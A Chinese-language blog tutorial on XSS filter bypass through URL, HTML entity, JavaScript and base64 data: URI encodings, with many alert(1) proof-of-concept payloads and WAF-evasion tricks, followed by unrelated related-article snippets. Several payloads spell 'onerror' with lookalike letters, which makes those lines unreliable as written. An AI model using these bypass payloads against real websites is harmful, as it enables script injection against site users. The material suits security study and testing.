常用的编码
URL编码: 一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如“/”的URL编码为%2F
#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;

HTML实体编码: 以&开头,分号结尾的。 例如“<”的编码是“&lt;”
HTML实体编码(10进制与16进制)
例如“<” html十进制:&#60; html十六进制:&#x3c;

JavaScript编码: js提供了四种字符编码的策略

  1. 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
  2. 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
  3. 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
  4. 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

各个编码的具体利用场景
(1) base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 遇到使用base64编码的情况 大多数是这样

  • <a href=“可控点”>
  • <iframe src=“可控点”>

在这种情况下 如果过滤了<> ’ " javascript 的话 那么要xss可以这样写 然后利用base64编码!

将<img src=
x οnerrοr=alert(1)>整条base64编码为:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

Data协议使用方法 data:资源类型;编码类型,内容

<script>alert(1)</script>
(<img src=1 οnerrοr=alert(1)> a标签,object,iframe不支持)
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>111</a>
<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
(chrome不支持)
<iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
(chrome,firefox支持)

<a>标签的利用方式

<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>

这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点
击a链接时 base64的编码就被解码还原成我们原本的

<script>alert(1)</script>然后成功弹窗!

各个编码的具体利用场景

(2) HTML实体编码(十进制和十六进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的.

如<img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074(1)”>这种可以弹窗。
\img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074`1`”>

onerror支持:html10,html16,jsunicode,不支持js8进制和js16进制

HTML十进制和十六进制编码的分号是可以去掉的。
实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行:

<img src=1
οnerrοr=
“&#0097;&#0108&#000101&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;”>

HTML5 新增的实体命名编码,如
&colon; => [冒号] &NewLine; => [换行]

如<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>
<a href=”javascript:alert(1)”>tan</a>

解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>

首先html编码被还原出来 然后就成了换行 跟冒号
<a href=“javascript:alert(1)”>click</a>

为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双引号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
<a href=“javascript:alert(1)”>click</a> 代码成功执行

各个编码的具体利用场景

(3) Javascript编码
Javascript伪协议在属性值中都可以使用,
如<a href=“javascript:alert(‘xss’)”>111</a>点击111后触发弹窗。javascript中只识别几种编码:Jsunicode js8进制 js16进制

第一种情况 :
你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:

eval()、setTimeout()、setInterval()
以上都是会将字符串当做js代码执行的函数!

第二种情况:

var search = “可控点”;
document.getElementById().innerHTML=search;

以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ’ " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成<img src=x
οnerrοr=alert(1)>然后进行js八进制编码 ==>\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76然后服务器端接受后 经过过滤器 没有发现可以过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!

(4) URL编码
Javascript:伪协议后面可以使用URL编码。
如:<a href=“javascript:%61lert(1)”>click me</a>可成功执行弹窗
可用img就不行:<img src=x
οnerrοr=”javascript:%61lert(1)”>

因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href=“javascript:%61lert(1)”>click me</a>

XSS编码问题以及绕过相关推荐

  1. xss编码绕过详解(更像是在介绍实体编码和JS编码的解析过程)

    xss编码绕过详解(更像是在介绍实体编码和JS编码的解析过程) 注:本文通过研究各种情况下实体编码和JS编码是否生效,进而总结了哪些情况下能够进行编码后,javascript代码依然能够正常执行. 解 ...

  2. 有关XSS编码问题的个人总结

    XSS也太太太难了,主要也是因为自己没花时间集中. 文章脉络:根据我粗浅的理解,从开始学习XSS到现在,从一开始的见框就插到现在去学构造.编码,首先需要的是能看懂一些payload,然后再去深入理解. ...

  3. html %3ca id=%3e,xss编码小结

    一.JS编码与HTML编码区分: HTML实体可以使用十进制与十六进制编码:javascript可以使用Unicode与八进制与十六进制进行编码. 二.编码原理区分: 三.编码与非编码 对于JS编码: ...

  4. 渗透测试要学习什么?

    渗透测试:以安全为基本原则,通过攻击者以及防御者的角度去分析目标所存在的安全隐患以及脆弱性,以保护系统安全为最终目标. 入侵:通过各种方法,甚至破坏性的操作,来获取系统权限以及各种敏感信息. 一般渗透 ...

  5. OpenRASP xss算法的几种绕过方法

    openrasp默认只能检测反射型XSS,存储型XSS仅IAST商业版支持.对于反射型xss,openrasp也只能检测可控输出点在html标签外的情况,本文的绕过方法是针对这种情况.如果可控输出点在 ...

  6. xss 全编码两次_XSS进阶

    原标题:XSS进阶 1.XSS常用语句及编码绕过 XSS常用的测试语句有: ●<>alert(1)> ● ● ● 常见的XSS的绕过编码有JS编码.HTML实体编码和URL编码. ( ...

  7. 浅谈XSS攻击的那些事(附常用绕过姿势)

    本文<浅谈XSS攻击的那些事(附常用绕过姿势)> 由一叶知安团队原创投稿安全脉搏首发,作者geek痕,安全脉搏独家首发表本文,如需要转载,请先联系安全脉搏授权:未经授权请勿转载. 随着互联 ...

  8. xss绕过字符过滤_XSS绕过实战练习

    前言 写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下.有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战 ...

  9. XSS绕过,XSS过滤速查,XSS绕过姿势

    1.介绍 这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南.文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss ...

最新文章

  1. 激光雷达数据到云cloud
  2. DVWA系列之21 存储型XSS分析与利用
  3. [小问题] 使用idea 打包maven项目时可能遇到xml文件打包不进去
  4. ubuntu 14.04
  5. 我们来谈谈面向指针编程的那些事
  6. 生物医学图片处理——怎样才算不当操作?
  7. MySQL高级 - 锁 - MyISAM表锁 - 写锁
  8. 一个讨论:SAP项目实施的顾问,需要花时间去调试代码了解技术细节吗
  9. GraphQL 的前世今生
  10. shell与python的优劣_论python 和 shell的实用性
  11. python阅读wtfbook疑问和验证
  12. SerializeField和Serializable
  13. 几道和「堆栈、队列」有关的面试算法题
  14. 民营企业实施ERP 须先上规范化补习班
  15. 20个非常棒的Jquery实用工具
  16. 类Shiro权限校验框架的设计和实现(2)--对复杂权限表达式的支持
  17. php管理系统模板,自定义模块后台模板
  18. 软件工程之信息系统集成
  19. 十八、D触发器介绍:
  20. ndows优化大师 免费版,Windows优化大师

热门文章

  1. 亚马逊部分 AWS DNS 系统遭 DDoS 攻击,已达数小时之久
  2. 一份完整的机房建设方案
  3. python 遍历_python中使用iterrows()对dataframe进行遍历的示例
  4. AI:2020年6月22日北京智源大会演讲分享之认知神经基础专题论坛——15:00-15:40刘嘉教授《From Representation to Comp: the Cognitive N》
  5. 成功解决mxnet-tag\mxnet\src\operator\tensor\./matrix_op-inl.h:189: Using target_shape will be deprecated
  6. 深入浅出统计学 第六章 排列与组合
  7. 9.3 Trains and Evaluates the MNIST network using a feed dictionary
  8. docker-compose 部署elk+解决时间不对导致kibana找不到logstash定义的index + docker-compose安装...
  9. MyBatis 与 Hibernate
  10. Android IllegalStateException: The specified child already has a parent问题解决办法